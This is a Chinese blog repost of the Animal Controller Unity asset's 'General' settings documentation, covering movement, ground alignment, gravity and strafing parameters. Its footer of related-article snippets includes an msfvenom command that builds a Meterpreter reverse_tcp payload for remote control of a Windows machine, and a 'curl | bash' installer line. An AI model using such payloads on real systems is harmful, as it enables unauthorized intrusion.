Animal Controller文档——General

news/2025/1/20 3:42:36/文章来源:https://www.cnblogs.com/chenxiayun/p/18514781

General

在General选项卡中,你会找到可以修改的最常用参数(AC)。
image

Parameters

Player

image
如果设置为true,该Animal将是你的主角。

这将使用单例模式,并设置静态值:Animal.isPlayer.Value = true;。这样,Respawn System和CheckPoints将知道在Animal死亡时应该重生哪个主Animal(Player)。

Pivots

image
Pivots用于将动物对齐到地面或水面,更多信息请参见下一个链接。

Movement

image

Camera Input

动物将使用摄像机的前进方向进行移动。
image

  • 如果禁用Camera Input,动物将不再受到摄像机视角的影响,也可以向后走。

Always Forward

如果为true,动物将始终向前移动——就像无尽跑步游戏一样。

Use Camera Up

使用摄像机的上向量在飞行或水下游泳时上下移动——如果为false,动物需要一个上下输入才能升高或降低。
image

  • 启用时,如果你将摄像机向上或向下指,角色也会随之向上或向下移动。

Smooth Vertical

用于摇杆或移动输入,通过摇杆压力增加速度。
image

Can Sprint

动物可以冲刺吗?

Turn Multiplier

动物的转向倍增器。更高的值意味着动物转向更快。

In Place Damp

在原地转动时的平滑阻尼。这在AI到达目标并且目标在AI动物周围移动时使用。
image

Turn Limit

当转角超过提供的限制时,减慢动物的速度。
https://streamable.com/9cwag1

Animator Speed

动物动画师的全局倍增器。更高的值意味着动画播放得更快。

Time Multiplier

动物的局部时间倍增器。可以用于慢动作移动。你可以让所有动物敌人慢慢移动,而你的角色以正常速度移动,以模拟聚焦功能。

Ground

image

Ground Layer

动物考虑的地面层。

  • (如果动物无故开始下落,可能是因为Ground Layer为空,或者动物下面的游戏对象层需要添加到Ground Layer Mask中)。

Ground Layer设置为Nothing ->
image

Orient To Ground

一个开关,允许动物将其旋转对齐到地面——禁用此功能用于类人角色!

Debris Tag

你在Unity中将你的碎片标记为什么?为小石头、楼梯和动物可以行走的小物体打标签,以便更好地进行射线投射计算。默认设置为“Stair”。
https://streamable.com/zweytj

Height

动物的臀部到地面的距离。

Slope Limit

动物可以行走的最大坡度角。如果动物尝试在超出此角度的坡度上行走,它将滑下。

Slide Threshold

开始滑下的地形角度。

Slide Amount

如果动物因坡度而滑下,应被推动的力度。

Slide Damp (Dampening)

激活滑动效果的阻尼值——较低的值意味着滑动发生得更快。

Ground Alignment

Align Pos Lerp

在接地时对齐地面的平滑值。

Align Pos Lerp = 2 ->
image
Align Pos Lerp = 30 ->
image

Align Pos Delta

在使用非接地状态(例如下落)时对齐地面的平滑值。

Align Rot Lerp

在接地时对齐地面坡度的平滑值。

Align Rot Lerp = 2 ->
image
Align Rot Lerp = 30 ->
image

Raycast Radius

用于检查动物下方地面的球形射线投射半径。

Align Cycle

当动物接地时,控制器每帧应检查多频繁以对齐动物。更高的值意味着更高的精度,较低的值意味着更好的性能。默认值为每帧一次。

Gravity

image

Direction

重力的方向为Vector 3。默认值为y轴上的-1。例如,标准的地球重力直接向下施加。

Force

动物下落到地面的力量。默认值为9.8。

Start Gravity Cycle

启动重力并给动物下压的额外时间。
更高的值意味着更强的重力。

Clamp Gravity Speed

限制重力的速度/速度。设置为0将忽略此设置。

Ground Changes Gravity

一个开关,允许动物在任何表面上以任何方向移动,例如倒立或类似于索尼克在管道中移动。

Strafing

image

Can Strafe

动物可以侧移吗?

  • 侧移需要一套新的动画。确保你有适当的动画来使用此功能!

Strafe

激活动物的侧移——一个可切换的布尔值,通常在运行时使用——通常不需要自己设置。

Normalize

规范化动物的侧移角度,例如180到-180变为1到-1。

Lerp

平滑进入状态的Lerp值。默认值为5。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/823947.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

VUEDjango开发-1-环境搭建

一、使用pyenv,安装python,创建虚拟环境 pyenv是管理python版本的神器,官方链接:github.com/pyenv/pyenv,在macOS、Linux、Windows上均可以安装使用。 使用自动脚本一键安装 curl https://pyenv.run | bash配置SHELL环境 对于Zsh,运行如下命令,把pyenv命令安装到 ~/.zsh…

总线协议系列——USART协议初探

前言 概述 USART全名Universal Synchronous/Asynchronous Receiver/Transmitter,也即通用同步/异步串行接收/发送器。是一种异步全双工点对点总线架构,其总共需要TX传输线、RX接收线和GND共地线。如果两个USART硬件没有自主供电VCC,还需要VCC线 电路特性 USART总线采用推挽输…

Meterpreter生成被控端并进行远程控制

Meterpreter生成被控端并进行远程控制 Meterpreter简介 Meterpreter是kali中自带的用于渗透测试和漏洞利用的工具,它的本质上是一种payload, 允许使用者使用命令行执行命令的生成及执行 生成木马 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=本机的ip lport=5000…

13. 分组数据

1. 数据分组 分组允许把数据分为多个逻辑组,以便能对每个组进行聚集计算 2. 创建分组 分组是在SELECT语句的GROUP BY子句中建立的。 比如: select vend_id, count(*) as num_prods from products group by vend_id;输出如下:上面的SELECT语句指定了两个列,vend_id包含产品供…

什么叫做网络编程

网络编程是一种编程实践,主要关注在网络环境中进行数据交换的应用程序的开发,包括了如何使用和理解各种协议、数据传输方式和网络架构等内容,以在不同计算机或系统间实现有效的信息交换。套接字是网络编程的基础,是网络上运行的程序之间进行数据交换的一种方式。什么叫做网…

Linux进程调度器-CPU负载

1. 概述 CPU负载(cpu load)指的是某个时间点进程对系统产生的压力。来张图来类比下(参考Understanding Linux CPU Load)CPU的运行能力,就如大桥的通行能力,分别有满负荷,非满负荷,超负荷等状态,这几种状态对应不同的cpu load值; 单CPU满负荷运行时cpu_load为1,当多个…

Paimon lookup store 实现

Lookup Store 主要用于 Paimon 中的 Lookup Compaction 以及 Lookup join 的场景. 会将远程的列存文件在本地转化为 KV 查找的格式. Hash https://github.com/linkedin/PalDB Sort https://github.com/dain/leveldb https://github.com/apache/paimon/pull/3770整体文件结构:相…

研究生如何利用 ChatGPT 帮助开展日常科研工作

研究生可以利用 ChatGPT 帮助开展日常科研工作:1. 文献综述与资料查找;2. 论文写作与润色;3. 问题解答与研究思路拓展;4. 实验设计与数据分析;5. 科研计划和进度管理;6. 学术交流和论文审阅。研究生常常需要面对海量文献,ChatGPT 可以成为文献综述的得力助手。1. 文献综…

13.Java的IO流

文件 概念文件:保存数据的地方。 文件流:文件在程序中是以流的形式来操作的。 流:数据在数据源(文件)和程序(内存)之间经历的路径。输入流:数据从数据源(文件)到程序(内存)的路径。 输出流:数据从程序(内存)到数据源(文件)的路径。常用操作构造方法方法 说明F…

论文词汇积累-铁路专业术语如车务段等(在进行小论文翻译的过程中遇到的问题,搜集整理一下)

一、铁路专用英语 专业词汇中英对照翻译 来源:https://blog.csdn.net/weixin_44304362/article/details/108827567 铁路工程词汇 线路工程 railway line engineering 铁路勘测 ;铁道勘测 railway reconnaissance 铁路选线 ;铁道选线 railway route selection;railway location…

考研打卡(2)

开局(2) 开始时间 2024-10-29 19:21:57 结束时间 2024-10-29 23:32:52呜呜,昨天被老师骂了数据结构能说明快速排序是不稳定的排序方法的一组关键字序列是____(暨南大学2011) A (10,20,30,40,50) B (50,40,30,20,10) C (20,20,30,10,40) D (20,40,30,30,10)C (20,…

vue2基础组件通信案例练习:把案例Todo-list改写成本地缓存

vue2基础组件通信案例练习:把案例Todo-list改写成本地缓存@目录概述前端代码本人其他相关文章链接 概述前面文章案例已经练习了父子组件之间的通信,这一节讲述如何把todos数组放进本地缓存中,因为实际开发场景中频繁查询的数据很有可能会用到本地缓存技术。思考:如何改成使…